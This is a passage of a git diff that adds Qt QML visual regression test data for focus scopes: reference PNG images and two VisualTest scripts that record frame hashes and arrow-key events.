+++ b/tests/auto/declarative/qmlvisual/focusscope/data/test.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test.2.png b/tests/auto/declarative/qmlvisual/focusscope/data/test.2.png
new file mode 100644
index 00000000..986a1646
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/focusscope/data/test.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test.3.png b/tests/auto/declarative/qmlvisual/focusscope/data/test.3.png
new file mode 100644
index 00000000..fd28a931
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/focusscope/data/test.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test.qml b/tests/auto/declarative/qmlvisual/focusscope/data/test.qml
new file mode 100644
index 00000000..e2bf23fd
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/focusscope/data/test.qml
@@ -0,0 +1,923 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "test.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 48
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 64
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 80
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 96
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 112
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 128
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 144
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 160
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 176
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 192
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 208
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 224
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 240
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 256
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 272
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 288
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 304
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 320
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 336
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 352
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 368
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 384
+ hash: "7d929804a37a70ffd487e95a3be8ea5f"
+ }
+ Frame {
+ msec: 400
+ hash: "7d929804a37a70ffd487e95a3be8ea5f"
+ }
+ Frame {
+ msec: 416
+ hash: "7d929804a37a70ffd487e95a3be8ea5f"
+ }
+ Frame {
+ msec: 432
+ hash: "7d929804a37a70ffd487e95a3be8ea5f"
+ }
+ Frame {
+ msec: 448
+ hash: "7d929804a37a70ffd487e95a3be8ea5f"
+ }
+ Frame {
+ msec: 464
+ hash: "7d929804a37a70ffd487e95a3be8ea5f"
+ }
+ Frame {
+ msec: 480
+ hash: "7d929804a37a70ffd487e95a3be8ea5f"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 496
+ hash: "7d929804a37a70ffd487e95a3be8ea5f"
+ }
+ Frame {
+ msec: 512
+ hash: "7d929804a37a70ffd487e95a3be8ea5f"
+ }
+ Frame {
+ msec: 528
+ hash: "7d929804a37a70ffd487e95a3be8ea5f"
+ }
+ Frame {
+ msec: 544
+ hash: "7d929804a37a70ffd487e95a3be8ea5f"
+ }
+ Frame {
+ msec: 560
+ hash: "7d929804a37a70ffd487e95a3be8ea5f"
+ }
+ Frame {
+ msec: 576
+ hash: "7d929804a37a70ffd487e95a3be8ea5f"
+ }
+ Frame {
+ msec: 592
+ hash: "7d929804a37a70ffd487e95a3be8ea5f"
+ }
+ Key {
+ type: 6
+ key: 16777235
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 608
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 624
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 640
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 656
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 672
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 688
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Key {
+ type: 7
+ key: 16777235
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 704
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 720
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 736
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 752
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 768
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 784
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 800
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 816
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 832
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 848
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 864
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 880
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 896
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 912
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 928
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 944
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 960
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 976
+ image: "test.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1008
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1024
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1040
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1056
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 1072
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 1088
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 1104
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 1120
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 1136
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1152
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 1168
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 1184
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 1200
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 1216
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 1232
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 1248
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1264
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1280
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1296
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1312
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1328
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1344
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1360
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1376
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1392
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1408
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1424
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1440
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1456
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1472
+ hash: "0914d1f71cdaf1f1a37b95ea41c57d4f"
+ }
+ Frame {
+ msec: 1488
+ hash: "0914d1f71cdaf1f1a37b95ea41c57d4f"
+ }
+ Frame {
+ msec: 1504
+ hash: "0914d1f71cdaf1f1a37b95ea41c57d4f"
+ }
+ Frame {
+ msec: 1520
+ hash: "0914d1f71cdaf1f1a37b95ea41c57d4f"
+ }
+ Frame {
+ msec: 1536
+ hash: "0914d1f71cdaf1f1a37b95ea41c57d4f"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1552
+ hash: "0914d1f71cdaf1f1a37b95ea41c57d4f"
+ }
+ Frame {
+ msec: 1568
+ hash: "0914d1f71cdaf1f1a37b95ea41c57d4f"
+ }
+ Frame {
+ msec: 1584
+ hash: "0914d1f71cdaf1f1a37b95ea41c57d4f"
+ }
+ Frame {
+ msec: 1600
+ hash: "0914d1f71cdaf1f1a37b95ea41c57d4f"
+ }
+ Frame {
+ msec: 1616
+ hash: "0914d1f71cdaf1f1a37b95ea41c57d4f"
+ }
+ Frame {
+ msec: 1632
+ hash: "0914d1f71cdaf1f1a37b95ea41c57d4f"
+ }
+ Frame {
+ msec: 1648
+ hash: "0914d1f71cdaf1f1a37b95ea41c57d4f"
+ }
+ Frame {
+ msec: 1664
+ hash: "0914d1f71cdaf1f1a37b95ea41c57d4f"
+ }
+ Frame {
+ msec: 1680
+ hash: "0914d1f71cdaf1f1a37b95ea41c57d4f"
+ }
+ Frame {
+ msec: 1696
+ hash: "0914d1f71cdaf1f1a37b95ea41c57d4f"
+ }
+ Frame {
+ msec: 1712
+ hash: "0914d1f71cdaf1f1a37b95ea41c57d4f"
+ }
+ Frame {
+ msec: 1728
+ hash: "0914d1f71cdaf1f1a37b95ea41c57d4f"
+ }
+ Key {
+ type: 6
+ key: 16777235
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1744
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1760
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1776
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1792
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1808
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Key {
+ type: 7
+ key: 16777235
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1824
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1840
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1856
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1872
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1888
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1904
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1920
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1936
+ image: "test.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 1968
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1984
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2000
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2016
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2032
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2048
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2064
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2080
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2096
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2112
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2128
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2144
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2160
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2176
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2192
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 2208
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 2224
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 2240
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 2256
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 2272
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2288
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 2304
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 2320
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 2336
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 2352
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Frame {
+ msec: 2368
+ hash: "f369109744055d30eadf2832a028a104"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2384
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2400
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2416
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2432
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2448
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2464
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2480
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2496
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2512
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2528
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2544
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2560
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2576
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2592
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2608
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2624
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2640
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2656
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2672
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2688
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2704
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2720
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2736
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2752
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2768
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2784
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2800
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2816
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2832
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2848
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2864
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2880
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2896
+ image: "test.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2928
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2944
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2960
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2976
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 2992
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 3008
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+ Frame {
+ msec: 3024
+ hash: "94675f9c9afb6834b91a69fd0ce35a22"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test2.0.png b/tests/auto/declarative/qmlvisual/focusscope/data/test2.0.png
new file mode 100644
index 00000000..396bf2d1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/focusscope/data/test2.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test2.1.png b/tests/auto/declarative/qmlvisual/focusscope/data/test2.1.png
new file mode 100644
index 00000000..396bf2d1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/focusscope/data/test2.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test2.qml b/tests/auto/declarative/qmlvisual/focusscope/data/test2.qml
new file mode 100644
index 00000000..8669071c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/focusscope/data/test2.qml
@@ -0,0 +1,323 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "test2.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 48
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 64
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 80
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 96
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 112
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 128
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 144
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 160
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 176
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 192
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 208
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 224
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 240
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 256
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 272
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 288
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 304
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 320
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 336
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 352
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 368
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 384
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 400
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 416
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 432
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 448
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 464
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 480
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 496
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 512
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 528
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 544
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 560
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 576
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 592
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 608
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 624
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 640
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 656
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 672
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 688
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 704
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 720
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 736
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 752
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 768
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 784
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 800
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 816
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 832
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 848
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 864
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 880
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 896
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 912
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 928
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 944
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 960
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 976
+ image: "test2.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 1008
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 1024
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 1040
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 1056
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 1072
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 1088
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 1104
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 1120
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 1136
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 1152
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 1168
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 1184
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 1200
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 1216
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 1232
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 1248
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+ Frame {
+ msec: 1264
+ hash: "f4041fcc91346361df95e344a0ee8e2d"
+ }
+}
